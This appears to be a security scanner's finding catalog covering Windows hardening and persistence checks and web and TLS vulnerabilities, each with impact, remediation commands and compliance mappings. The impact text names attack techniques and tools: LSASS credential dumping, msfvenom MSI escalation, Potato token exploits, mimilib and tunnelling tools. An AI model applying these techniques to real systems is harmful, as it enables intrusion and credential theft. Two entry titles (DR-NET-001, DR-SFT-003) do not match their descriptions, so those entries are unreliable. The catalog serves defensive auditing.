CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: AC-3, AC-14
PCI DSS 4: 7.2.1
HIGH DR-HDN-041 — Remote Desktop: Weak RDP Transport Encryption
Description: Remote Desktop is configured with weak or legacy transport encryption. Sessions can be intercepted or downgraded by an on-path attacker.
Impact: SecurityLayer=0 uses legacy RDP encryption (RC4-based, no server certificate validation). Low MinEncryptionLevel allows 56-bit or 40-bit session keys. An on-path attacker can intercept keystrokes, screen content, and credentials.
Remediation: Set SecurityLayer to 2 (TLS) and MinEncryptionLevel to 3 (High) under HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: SC-8, SC-23, AC-17
PCI DSS 4: 4.2.1, 2.2.7
HIGH DR-HDN-043 — Privilege Escalation: Sensitive User Rights Assigned to Non-Default Accounts
Description: Sensitive user rights (SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, etc.) are assigned to accounts beyond the operating system defaults. These rights enable credential theft, kernel-level access, or file system bypass.
Impact: SeDebugPrivilege allows dumping LSASS memory to extract all cached credentials. SeLoadDriverPrivilege allows loading a malicious kernel driver. SeBackupPrivilege allows reading any file on the system regardless of ACLs, including SAM and SYSTEM registry hives.
Remediation: Review User Rights Assignment in Group Policy. Remove non-essential accounts from sensitive privileges. Only SYSTEM, LOCAL SERVICE, and Administrators should hold SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, and SeTcbPrivilege.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1134 (Privilege Escalation)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1, 7.2.2
HIGH DR-NET-001 — Network: Suspicious Outbound Connection
Description: The Windows Firewall is disabled for the Domain network profile.
Impact: All inbound and outbound traffic is unfiltered when connected to a domain network. Any service listening on any port is exposed to all hosts on the network, enabling lateral movement and direct exploitation.
Remediation: Enable the Windows Firewall for the Domain profile via Group Policy or PowerShell: Set-NetFirewallProfile -Profile Domain -Enabled True. Review and configure appropriate inbound/outbound rules before enabling to avoid disrupting legitimate services.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1071 (Command and Control), T1041 (Exfiltration)
NIST 800-53: SI-4, IR-5
PCI DSS 4: 1.2.1
HIGH DR-PERS-001 — Persistence: WMI Event Subscription
Description: Active WMI event subscriptions (EventFilter + EventConsumer + FilterToConsumerBinding) were found on this system. WMI subscriptions execute automatically in response to system events and survive reboots, making them a powerful persistence mechanism.
Impact: WMI event subscriptions run with SYSTEM privileges and are difficult to detect through standard monitoring. An attacker can use them to execute malicious scripts or binaries when specific events occur (user logon, process creation, time-based triggers). WMI persistence is used by APT groups and is notoriously resistant to removal — it survives reinstallation of applications and many cleanup procedures.
Remediation: Review all WMI event subscriptions: Get-WMIObject -Namespace root\Subscription -Class __EventFilter; Get-WMIObject -Namespace root\Subscription -Class __EventConsumer; Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding. Remove any unknown or suspicious subscriptions. Deploy Sysmon with WMI monitoring (Event IDs 19-21). Implement WMI activity logging via Group Policy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.003 (Persistence)
NIST 800-53: SI-4, AU-6, IR-4
PCI DSS 4: 10.6.1, 11.5.1
HIGH DR-PERS-003 — Persistence: AppInit_DLLs Configured
Description: The AppInit_DLLs registry value is configured with one or more DLL paths. Windows loads any DLL listed in AppInit_DLLs into every process that loads user32.dll — which includes virtually all GUI applications. This mechanism is a well-known persistence and injection technique.
Impact: DLLs specified in AppInit_DLLs are loaded into every GUI process on the system, providing system-wide code injection. An attacker can use this for keylogging, credential interception, API hooking, or persistent backdoor access. The injected DLL runs with the privileges of each host process, potentially including SYSTEM-level services.
Remediation: Clear the AppInit_DLLs registry value: reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f. Also clear the WOW64 key: reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f. Set LoadAppInit_DLLs to 0 to disable the mechanism entirely. Enable Secure Boot and RequireSignedAppInit_DLLs to restrict to signed DLLs only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.010 (Persistence)
NIST 800-53: SI-4, SI-3, CM-6
PCI DSS 4: 5.3.1, 11.5.1
HIGH DR-PERS-004 — Persistence: IFEO Debugger Set
Description: Image File Execution Options (IFEO) registry entries have a 'Debugger' value set for one or more executables. This causes Windows to launch the specified debugger program instead of (or before) the target executable, effectively hijacking the execution of legitimate programs.
Impact: An attacker can set an IFEO debugger entry for commonly used programs (cmd.exe, powershell.exe, taskmgr.exe) to redirect their execution to a malicious binary. This is a stealthy persistence mechanism that activates whenever the legitimate program is launched. It is also used to prevent security tools from running by redirecting them to an empty program or a kill command.
Remediation: Audit IFEO registry entries: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s /v Debugger. Remove any unauthorized Debugger values. Deploy Sysmon with registry monitoring (Event IDs 12-14) targeting IFEO keys. Legitimate IFEO uses include application compatibility shims — verify with the application vendor before removing.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.012 (Persistence)
NIST 800-53: SI-4, SI-7, CM-6
PCI DSS 4: 5.3.1, 11.5.1
HIGH DR-PERS-008 — Persistence: LSA Authentication Package Modified
Description: Non-default authentication packages or security support providers (SSPs) are registered in the LSA registry configuration. LSA authentication packages are loaded by lsass.exe at boot and run with SYSTEM privileges. Unauthorized packages can intercept credentials during authentication.
Impact: A malicious LSA authentication package runs inside lsass.exe with SYSTEM privileges and intercepts every authentication event on the system. This allows credential harvesting of all user passwords (including domain admin) in cleartext as they authenticate. This is one of the most powerful persistence mechanisms available, used by advanced threat actors and tools like mimilib.
Remediation: Audit LSA registry entries: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" and "Security Packages". Default values are 'msv1_0' for Authentication Packages and '' (empty) or 'kerberos msv1_0 schannel wdigest tspkg pku2u' for Security Packages. Remove any unauthorized entries. Enable LSA Protection (RunAsPPL) to prevent unauthorized DLL loading into lsass.exe. Enable Credential Guard for additional protection. Investigate as potential compromise.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1547.002 (Persistence)
NIST 800-53: SI-4, SI-7, IA-5
PCI DSS 4: 5.3.1, 10.6.1, 11.5.1
HIGH DR-PRIV-001 — Privilege Escalation: AlwaysInstallElevated Enabled
Description: The AlwaysInstallElevated policy is enabled in both HKLM and HKCU registry hives. This Windows Installer policy allows any user to install MSI packages with SYSTEM-level privileges, regardless of the user's actual privilege level.
Impact: Any standard user can create a malicious MSI package (e.g., using msfvenom) and install it with SYSTEM privileges. This is a trivial, reliable privilege escalation path that requires no exploitation of software vulnerabilities — only the misconfiguration itself. Tools like PowerUp, WinPEAS, and Metasploit all check for and exploit this setting.
Remediation: Disable AlwaysInstallElevated by setting both registry values to 0: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=0 and HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=0. Apply via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows Installer > Always install with elevated privileges = Disabled.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1546.016 (Privilege Escalation)
NIST 800-53: CM-6, AC-6, CM-7
PCI DSS 4: 2.2.1, 7.1.1
HIGH DR-PRIV-002 — Privilege Escalation: Modifiable Service Binary
Description: One or more Windows service executables reside in directories that are writable by non-administrative users, or the service binary file itself has permissive ACLs. This allows a standard user to replace the service binary with a malicious one.
Impact: An attacker can replace or modify a service binary that runs as SYSTEM or a privileged account. On the next service restart (or system reboot), the attacker's code executes with the service account's privileges, typically SYSTEM. This is a reliable privilege escalation technique that persists across reboots.
Remediation: Audit and correct file system permissions on all service binary paths. Service executables should be owned by Administrators/SYSTEM with write access restricted to Administrators only. Use icacls to verify: icacls "C:\path\to\service.exe". Install services only in protected directories (C:\Program Files\). Remove write permissions for Users/Authenticated Users groups on service binary paths.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.010 (Persistence)
NIST 800-53: CM-6, AC-6, CM-5
PCI DSS 4: 2.2.1, 6.3.2
HIGH DR-PRIV-004 — Privilege Escalation: Dangerous Token Privileges
Description: The current process or service accounts hold dangerous Windows token privileges. SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege enable token impersonation attacks (Potato family exploits). SeDebugPrivilege allows debugging any process including LSASS. SeBackupPrivilege/SeRestorePrivilege bypass file ACLs. SeTcbPrivilege acts as part of the operating system.
Impact: Token impersonation privileges (SeImpersonate, SeAssignPrimaryToken) enable immediate SYSTEM-level privilege escalation via tools like JuicyPotato, PrintSpoofer, RoguePotato, or GodPotato. SeDebugPrivilege allows LSASS memory dumping for credential extraction. These privileges are commonly held by IIS application pool accounts, SQL Server service accounts, and other service identities.
Remediation: Review and minimize token privileges assigned to service accounts. Remove SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege from service accounts where not operationally required. Use Group Managed Service Accounts (gMSA) with minimal privileges. Audit User Rights Assignments via: secpol.msc > Local Policies > User Rights Assignment. Consider running services in Windows containers or AppContainers which restrict available privileges.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1134 (Defense Evasion), T1134.001 (Privilege Escalation)
NIST 800-53: AC-6, AC-6(5), CM-6
PCI DSS 4: 7.1.1, 7.2.1
HIGH DR-PROC-002 — Process: Running from Temporary Directory
Description: One or more processes are executing from temporary directories (%TEMP%, %TMP%, C:\Windows\Temp). Legitimate software rarely runs from temp folders; this pattern is a strong indicator of malware, dropper activity, or exploitation payload execution.
Impact: Malware commonly stages and executes from temporary directories because they are user-writable, loosely monitored, and files there are expected to be transient. Ransomware droppers, fileless malware stagers, and post-exploitation payloads frequently use temp paths as their execution location.
Remediation: Investigate each process: check file hash against VirusTotal, examine parent process chain, check for associated network connections. Implement AppLocker or WDAC policies to block executable execution from temp directories. Enable Windows Defender ASR rules to block execution from temp paths.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1204 (Execution), T1036.005 (Defense Evasion)
NIST 800-53: CM-7, SI-3
PCI DSS 4: 5.2.1
HIGH DR-RMT-001 — Remote Access: Unauthorized RMT Detected
Description: A remote management tool (TeamViewer, AnyDesk, LogMeIn, ConnectWise, Splashtop, etc.) was detected that is not part of the organization's approved toolset.
Impact: Unauthorized remote access tools create unmonitored backdoors into the network. They bypass VPN, firewall, and network security controls by tunneling through standard HTTPS. Attackers frequently install these tools for persistent remote access.
Remediation: Remove unauthorized remote management tools and block their installation via application control policies. If the tool was installed by an attacker, initiate incident response. Maintain an approved remote access solution with centralized logging and multi-factor authentication.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1219 (Command and Control)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 6.3.2, 12.3.1
CISA KEV
HIGH DR-SFT-003 — Software: Suspicious Startup Item
Description: Development tools (compilers, debuggers, IDEs, scripting language interpreters beyond what the system requires) are installed on a production system.
Impact: Development tools enable an attacker to compile and run custom tools directly on the compromised system, create sophisticated payloads, and debug security controls. Their presence on production systems violates hardening baselines.
Remediation: Remove development tools from production systems. If development work is needed, use separate development environments. Document any exceptions with business justification and compensating controls.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1547.001 (Persistence)
NIST 800-53: SI-4, CM-3
PCI DSS 4: 2.2.4
HIGH DR-SFT-005 — Software: Known Vulnerable Software Installed
Description: Installed software matches known vulnerable versions with published CVEs or documented security defects. These versions have public exploits or well-documented attack paths.
Impact: An attacker can exploit known vulnerabilities in installed software to gain unauthorized access, execute arbitrary code, or escalate privileges. Public exploit code and automated exploit frameworks (Metasploit, Nuclei) make exploitation straightforward.
Remediation: Update all identified software to the latest patched version. Where an update is not possible, implement compensating controls: restrict network access to the service, deploy WAF rules, enable exploit prevention features, and increase monitoring.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3, 6.2.4
HIGH DR-SFT-006 — Service Hardening: High-Risk Services Running
Description: High-risk services are actively running, including services that transmit credentials in cleartext (Telnet), allow remote registry manipulation, or expose SNMP information with default community strings.
Impact: Telnet transmits all data including credentials in cleartext. Remote Registry allows attackers to read and modify registry settings remotely. SNMP with default community strings enables full network reconnaissance. FTP transmits credentials in cleartext.
Remediation: Disable unnecessary high-risk services. Replace Telnet with SSH. Replace SNMP v1/v2c with v3 using authentication and encryption. Disable Remote Registry unless required by a specific management tool.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: CM-7, SC-8, AC-17
PCI DSS 4: 2.2.4, 2.2.7
HIGH DR-SFT-009 — Software: Network Tunnel or Bypass Tool Installed
Description: Network tunneling or overlay network software is installed. These tools create encrypted channels that can bypass firewall rules, IDS/IPS inspection, and network segmentation controls.
Impact: Tools like cloudflared, ngrok, ZeroTier, Tailscale, and Chisel create encrypted outbound tunnels that bypass perimeter security. An attacker can use them to establish persistent command-and-control channels or expose internal services to the internet without firewall approval.
Remediation: Remove unauthorized tunnel software. If operationally required (e.g., Cloudflare Tunnel), document the business justification, restrict access, and monitor. Block known tunnel endpoints at the firewall. Deploy application control policies.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1572 (Command and Control)
NIST 800-53: CM-7, SC-7, CM-11
PCI DSS 4: 1.2.1, 1.4.2
HIGH DR-SRV-001 — Authentication: SQL Server Mixed Authentication
Description: SQL Server is configured with mixed authentication mode, allowing both Windows and SQL Server authentication. SQL authentication transmits credentials that may be weaker and harder to audit than Windows/Kerberos authentication.
Impact: Mixed mode enables SQL logins (like 'sa') which are frequently targeted by brute-force attacks. SQL passwords are not subject to Active Directory password policies, may be stored in application config files, and bypass centralized authentication controls.
Remediation: Switch to Windows Authentication mode unless SQL authentication is strictly required. If mixed mode must remain, disable the 'sa' account, enforce strong passwords on all SQL logins, and enable SQL Server Audit for login events.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access), T1078.001 (Persistence)
NIST 800-53: IA-2, IA-5
PCI DSS 4: 8.3.1
HIGH DR-SYS-001 — EOL Software: End-of-Life Windows Version
Description: The Windows operating system version running on this endpoint has reached end-of-life and no longer receives security updates from Microsoft.
Impact: An attacker can exploit publicly disclosed vulnerabilities that will never be patched, leading to full system compromise. The organization also faces compliance violations as most frameworks require supported software.
Remediation: Upgrade the operating system to a currently supported version of Windows that receives regular security updates. For Windows Server environments, plan a migration path to Server 2019 or later. For desktop systems, upgrade to Windows 10 22H2 or Windows 11. Coordinate with application owners to verify compatibility before migration.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SA-22, SI-2, CM-6
PCI DSS 4: 6.3.3
CISA KEV
HIGH DR-USR-002 — Account Management: Guest Account Enabled
Description: The built-in Guest account is enabled on this endpoint, allowing unauthenticated or minimally-authenticated access.
Impact: The Guest account provides a foothold for unauthenticated access to the system. Even with limited privileges, it can be used for local enumeration, accessing public shares, and as a stepping stone for privilege escalation.
Remediation: Disable the Guest account immediately: net user Guest /active:no. Verify via Group Policy that it remains disabled.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Persistence)
NIST 800-53: AC-2
PCI DSS 4: 8.6.1
HIGH DR-USR-005 — Policy: Weak Password Policy
Description: The local password policy does not meet security baselines: minimum length is less than 8 characters and/or password complexity requirements are disabled.
Impact: Weak password policies allow users to set easily guessable passwords. Short passwords without complexity requirements can be cracked in seconds using modern hardware, making brute force and dictionary attacks trivially successful.
Remediation: Set minimum password length to at least 12 characters and enable complexity requirements. Configure via Group Policy: Computer Configuration > Windows Settings > Security Settings > Account Policies > Password Policy. Consider implementing a password filter or Azure AD Password Protection to block common passwords.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
HIGH FR-011 — WordPress XML-RPC Interface Enabled
Description: The WordPress XML-RPC interface (xmlrpc.php) is enabled and accessible. This legacy interface enables brute-force attacks, SSRF via pingback, and DDoS amplification.
Remediation: Disable XML-RPC entirely if not required. If required, restrict access by IP and disable the multicall method.
OWASP Web: A05:2025
HIGH FR-012 — WordPress XML-RPC Multicall Brute-Force Vector
Description: The XML-RPC system.multicall method is enabled, allowing an attacker to test hundreds of username/password combinations in a single HTTP request, bypassing standard rate limiting.
Remediation: Disable XML-RPC or specifically block the system.multicall method. Implement per-IP rate limiting at the web server level.
OWASP Web: A07:2025
HIGH FR-013 — WordPress XML-RPC Pingback SSRF Vector
Description: The XML-RPC pingback.ping method is accessible. An attacker can abuse this to perform Server-Side Request Forgery (SSRF) or use the WordPress server as a DDoS reflector.
Remediation: Disable XML-RPC or block the pingback.ping method. Implement egress filtering to restrict outbound requests from the web server.
OWASP Web: A10:2025
HIGH FR-014 — WordPress XML-RPC Interface Accessible
Description: The WordPress XML-RPC endpoint responds to requests. The full list of available methods was retrieved, confirming the attack surface exposed by this legacy interface.
Remediation: Disable xmlrpc.php entirely unless required. If required, restrict access by IP whitelist.
OWASP Web: A05:2025
HIGH FR-016 — WordPress Users Exposed via REST API
Description: The WordPress REST API /wp/v2/users endpoint returns a list of registered usernames and IDs without authentication. This facilitates targeted brute-force and social engineering attacks.
Remediation: Disable or restrict the /wp/v2/users endpoint. Use a security plugin or custom code to require authentication for user enumeration endpoints.
OWASP Web: A01:2025
HIGH FR-023 — WordPress Debug Log Accessible
Description: The WordPress debug log file (wp-content/debug.log) is publicly accessible. Debug logs may contain PHP errors, stack traces, file paths, database queries, and credentials.
Remediation: Disable WP_DEBUG in production. Move the debug log outside the web root or restrict access via web server configuration.
OWASP Web: A09:2025
HIGH FR-034 — Admin Interface Exposed
Description: An administrative interface was discovered at a predictable path. Admin interfaces exposed to the internet are high-value targets for brute-force, credential stuffing, and authentication bypass attacks.
Remediation: Restrict admin interface access by IP whitelist. Move admin interfaces to non-standard ports or behind a VPN. Enforce MFA on all administrative accounts.
OWASP Web: A05:2025
HIGH FR-035 — Backup File Discovered
Description: A backup file (e.g., .bak, .old, .orig, ~, .zip) was discovered in the web root. Backup files often contain source code, configuration, or credentials.
Remediation: Remove all backup files from the web root. Add web server rules to deny access to common backup file extensions.
OWASP Web: A05:2025
HIGH FR-038 — SVN/CVS Repository Exposed
Description: A Subversion (.svn) or CVS repository directory is accessible from the web root. Repository metadata can be used to reconstruct source files.
Remediation: Block access to .svn and CVS directories via web server configuration. Remove version control directories from the web root.
OWASP Web: A05:2025
HIGH FR-039 — Log File Accessible
Description: An application or server log file is publicly accessible. Log files may contain IP addresses, usernames, session tokens, stack traces, and sensitive application data.
Remediation: Move log files outside the web root. Restrict access via web server configuration. Ensure log rotation is implemented.
OWASP Web: A09:2025
HIGH FR-041 — TLS Certificate Expired
Description: The TLS certificate presented by the server has expired. Browser warnings will be displayed, and the certificate can no longer be trusted to guarantee the server's identity.
Remediation: Renew the TLS certificate immediately. Implement automated certificate renewal (e.g., Let's Encrypt with certbot or ACME protocol) to prevent future expirations.
OWASP Web: A02:2025
HIGH FR-042 — TLS Certificate Not Yet Valid
Description: The TLS certificate presented by the server has a notBefore date in the future, meaning it is not yet valid. Clients may reject the connection.
Remediation: Ensure server time is synchronized via NTP. Verify the certificate was issued correctly and replace if the issue persists.
OWASP Web: A02:2025
HIGH FR-043 — TLS Certificate Hostname Mismatch
Description: The Common Name or Subject Alternative Names in the TLS certificate do not match the hostname being accessed. This breaks trust validation and may indicate a misconfiguration or MITM condition.
Impact: A TLS certificate hostname mismatch indicates the certificate was not issued for the requested domain, causing browser warnings. Users who bypass these warnings become vulnerable to MITM attacks, and automated systems may silently accept invalid certificates.
Remediation: Obtain and install a certificate that matches the server's hostname. Use Subject Alternative Names (SANs) to cover all required hostnames.
OWASP Web: A02:2025
HIGH FR-045 — Weak TLS Protocol Supported (SSLv2/SSLv3/TLS 1.0/TLS 1.1)
Description: The server supports one or more deprecated TLS/SSL protocol versions (SSLv2, SSLv3, TLS 1.0, or TLS 1.1). These protocols have known cryptographic weaknesses exploitable by POODLE, BEAST, and similar attacks.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Configure the server to support only TLS 1.2 and TLS 1.3.
OWASP Web: A02:2025
HIGH FR-046 — Weak Cipher Suite Supported
Description: The server supports weak cipher suites including NULL encryption, RC4, DES, 3DES, or export-grade ciphers. Weak ciphers can be exploited to decrypt TLS-protected traffic.
Remediation: Configure the server to support only strong cipher suites (AES-GCM, ChaCha20-Poly1305). Use Mozilla SSL Configuration Generator for recommended cipher lists.
OWASP Web: A02:2025
HIGH FR-048 — TLS POODLE Vulnerability
Description: The server supports SSLv3, making it vulnerable to the POODLE (Padding Oracle On Downgraded Legacy Encryption) attack. An attacker can force a downgrade to SSLv3 and decrypt session cookies.
Remediation: Disable SSLv3 entirely. Implement TLS_FALLBACK_SCSV to prevent protocol downgrade attacks.
OWASP Web: A02:2025
HIGH FR-051 — TLS LOGJAM Vulnerability
Description: The server supports DHE key exchange with weak (export-grade) Diffie-Hellman parameters (512-bit), making it vulnerable to the LOGJAM downgrade attack.
Remediation: Disable export-grade DHE cipher suites. Generate and configure strong (2048-bit or 4096-bit) DH parameters. Prefer ECDHE over DHE.
OWASP Web: A02:2025
HIGH FR-052 — TLS FREAK Vulnerability
Description: The server supports RSA_EXPORT cipher suites, making it vulnerable to the FREAK (Factoring RSA Export Keys) attack. An attacker can force the use of weak 512-bit RSA keys.
Remediation: Disable all EXPORT cipher suites. Update OpenSSL to a patched version. Enforce server-side cipher preference.
OWASP Web: A02:2025
HIGH FR-053 — TLS ROBOT Vulnerability
Description: The server is vulnerable to the ROBOT (Return Of Bleichenbacher's Oracle Threat) attack, allowing an attacker to perform RSA decryption and signing operations with the server's private key.
Remediation: Disable RSA key exchange cipher suites. Use ECDHE for forward secrecy. Patch the TLS library to a version with ROBOT mitigations.
OWASP Web: A02:2025
HIGH FR-054 — TLS CCS Injection Vulnerability
Description: The server is vulnerable to the OpenSSL CCS Injection vulnerability (CVE-2014-0224). An attacker with MITM position can force the use of weak key material.
Remediation: Upgrade OpenSSL to 0.9.8za, 1.0.0m, or 1.0.1h or later. Restart the server after patching.
OWASP Web: A02:2025
HIGH FR-055 — TLS Ticketbleed Vulnerability
Description: The server is vulnerable to Ticketbleed (CVE-2016-9244) in F5 BIG-IP TLS implementations, allowing an attacker to read up to 31 bytes of uninitialized memory via TLS session tickets.
Remediation: Apply the vendor patch from F5. Disable TLS session tickets as a temporary mitigation.
OWASP Web: A02:2025
HIGH FR-060 — Subdomain Takeover Vulnerability
Description: A subdomain DNS record points to an external service (e.g., GitHub Pages, S3, Heroku, Netlify) that is no longer claimed. An attacker can register the unclaimed resource and serve malicious content from the trusted subdomain.
Remediation: Remove dangling DNS records immediately. Claim or delete the referenced external resource. Implement DNS monitoring to detect future dangling records.
OWASP Web: A05:2025
HIGH FR-072 — JWT Token in Local Storage
Description: JSON Web Tokens (JWTs) are stored in browser localStorage. localStorage is accessible to JavaScript, making JWT tokens vulnerable to theft via XSS attacks.
Remediation: Store JWTs in HttpOnly, Secure cookies instead of localStorage. This prevents JavaScript access and protects tokens from XSS-based theft.
OWASP Web: A02:2025
HIGH FR-078 — JWT Token Accepted After Expiry
Description: The server accepts JWT tokens after their 'exp' (expiration) claim has passed. This allows indefinite reuse of stolen or leaked tokens.
Remediation: Enforce 'exp' claim validation in JWT processing. Reject tokens with past expiration times. Use short token lifetimes with refresh token rotation.
OWASP Web: A07:2025
HIGH FR-087 — Cross-Site Scripting (XSS) — Reflected
Description: Reflected Cross-Site Scripting was detected. User-supplied input is returned in the HTTP response without proper encoding, allowing an attacker to inject client-side scripts that execute in the victim's browser.
Remediation: Encode all user-supplied data before rendering it in HTML context. Implement a strict Content-Security-Policy. Use a template engine with auto-escaping enabled.
OWASP Web: A03:2025
HIGH FR-088 — Cross-Site Scripting (XSS) — Stored
Description: Stored Cross-Site Scripting was detected. Malicious scripts submitted by an attacker are persisted in the application's data store and executed in the browser of every user who views the affected content.
Remediation: Encode all stored user data before rendering. Validate and sanitize input on write. Implement CSP with nonce-based script policy.
OWASP Web: A03:2025
HIGH FR-089 — Cross-Site Scripting (XSS) — DOM-Based
Description: DOM-based Cross-Site Scripting was detected. Client-side JavaScript reads attacker-controlled data (e.g., from URL fragments, postMessage, or localStorage) and writes it to a dangerous sink (innerHTML, eval, document.write) without sanitization.
Remediation: Review all client-side JavaScript for unsafe DOM manipulation. Use textContent instead of innerHTML. Validate and encode data before passing to DOM sinks.
OWASP Web: A03:2025
HIGH FR-090 — LDAP Injection
Description: LDAP injection was detected. User input is incorporated into LDAP query filters without proper escaping. An attacker can manipulate LDAP queries to bypass authentication or extract directory entries.
Remediation: Use an LDAP library that supports parameterized queries. Escape all special LDAP characters (\, *, (, ), NUL) in user-supplied input before using it in filters.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2025
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-091 — XPath Injection
Description: XPath injection was detected. User input is embedded in XPath query expressions without sanitization. An attacker can manipulate queries to extract unauthorized XML data or bypass authentication.
Remediation: Use parameterized XPath queries. Escape all user-supplied data used in XPath expressions. Validate input against a strict whitelist.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2025
OWASP API: API8:2023 – Security Misconfiguration
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-094 — Information Disclosure: Javascript Secret
Description: Sensitive secrets (API keys, credentials, tokens, private keys) were found hardcoded in client-side JavaScript files. These secrets are visible to anyone who views the page source.
Remediation: Remove all hardcoded secrets from client-side JavaScript. Move sensitive keys to server-side configuration. Rotate any exposed secrets immediately. Implement secret scanning in the CI/CD pipeline.
OWASP Web: A02:2025
HIGH FR-099 — Path Traversal / Local File Inclusion
Description: Path traversal (directory traversal) was detected. An attacker can use sequences like ../../ in user-supplied file path parameters to read files outside the intended directory, such as /etc/passwd, application configuration, or source code.
Remediation: Validate all file path inputs against a strict whitelist. Use canonical path resolution and verify the resolved path starts with the allowed base directory. Avoid user-controlled file paths entirely where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
HIGH FR-103 — SSRF via Internal Network Access
Description: SSRF was exploited to access internal network services (RFC 1918 address ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). The attacker can probe and interact with services not directly accessible from the internet.
